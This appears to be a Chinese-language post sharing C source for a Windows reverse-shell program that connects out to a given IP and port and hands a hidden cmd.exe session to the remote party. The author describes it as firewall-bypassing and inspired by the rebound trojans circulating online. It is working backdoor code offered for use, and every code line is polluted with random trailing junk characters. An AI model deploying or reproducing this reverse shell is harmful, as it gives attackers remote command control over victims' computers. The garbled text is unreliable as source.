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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 p=;=w_^y  
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/* ============================== pv*,gSS  
Rebound port in Windows NT Y'yH;M z  
By wind,2006/7 DKne'3pH  
===============================*/ 9bP^`\K[N  
#include q-.,nMUF  
#include SNfr"2c'h~  
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#pragma comment(lib,"wsock32.lib") 0TCBQ~"  
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void OutputShell(); plUZ"Tr  
SOCKET sClient; M\sN@+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]+(6,ct&.  
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void main(int argc,char **argv) `!XY]PI+e  
{ iJ~Zkd  
WSADATA stWsaData; V"*O=h  
int nRet; .l>77zM6  
SOCKADDR_IN stSaiClient,stSaiServer; #z&& M"*a|  
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if(argc != 3) |kw)KEi}H  
{ #1`-*.u  
printf("Useage:\n\rRebound DestIP DestPort\n"); >xF/Pl  
return; #N#'5w-G  
} eAXc:222  
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WSAStartup(MAKEWORD(2,2),&stWsaData); b vS(@  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B-.gI4xa  
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stSaiClient.sin_family = AF_INET; M:-.o  
stSaiClient.sin_port = htons(0); |zR8rqBX;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @W va tD V  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CsTF  
{ 9;_sC  
printf("Bind Socket Failed!\n"); 3{""58  
return; b?TO=~k,  
} _z'u pb&  
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stSaiServer.sin_family = AF_INET; U'8bdsF_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  /<HRwG\w  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P/c&@_b  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Pf|siC^;s~  
{ hCCiD9gz  
printf("Connect Error!"); }2(,K[?  
return; JQV%fTHS  
} My<snmr2d  
OutputShell(); yHs- h   
} 'XZ) !1N  
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void OutputShell() 2W/?q!t  
{ \]=7!RQ\  
char szBuff[1024]; ])L A42|  
SECURITY_ATTRIBUTES stSecurityAttributes; CZ(/=3,3n  
OSVERSIONINFO stOsversionInfo; KMU4n-s"o  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I2 j}Am  
STARTUPINFO stStartupInfo; "ul {d(K3  
char *szShell; ]3VI|f$$  
PROCESS_INFORMATION stProcessInformation; <1FC%f/  
unsigned long lBytesRead; %F!1  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %K\?E98M  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Cz 72?[6  
stSecurityAttributes.lpSecurityDescriptor = 0; +)j$|x~(A  
stSecurityAttributes.bInheritHandle = TRUE; q0$ !y!~  
(>VX-Y/  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); wW#}:59}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )+}]+xRWGj  
oN{Z+T :  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); O) WCW<p  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XLAN Np%E  
stStartupInfo.wShowWindow = SW_HIDE; I3,= 0z  
stStartupInfo.hStdInput = hReadPipe; @r#v[I  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5D_fXfx_|  
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GetVersionEx(&stOsversionInfo); et,f_fd7v  
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switch(stOsversionInfo.dwPlatformId) O>^C4c!  
{ {) Q@c)'  
case 1: R,F[XI+=N  
szShell = "command.com"; um4yF*3b9  
break; 4d8B`Fa9  
default: t*>R`,j  
szShell = "cmd.exe"; qjf[zF  
break; } w 5l  
} dZi(&s  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &e;=cAXG  
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send(sClient,szMsg,77,0); G`\f  
while(1) LUC4=kk4   
{ ^j" .  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o'W5|Gy  
if(lBytesRead) QAvir%Y9Q  
{ ]@uE #a:[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &jsVw)Ue  
send(sClient,szBuff,lBytesRead,0); 7PANtCFb&  
} bzX\IrJpOZ  
else GlbySD@  
{ gF[z fDm  
lBytesRead=recv(sClient,szBuff,1024,0); $:  ]o]a  
if(lBytesRead<=0) break; FI3)i>CnW  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); oo=Qt(#  
} &4b&X0pU  
} i?fOK_d  
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return; $)RNKMZC}A  
}
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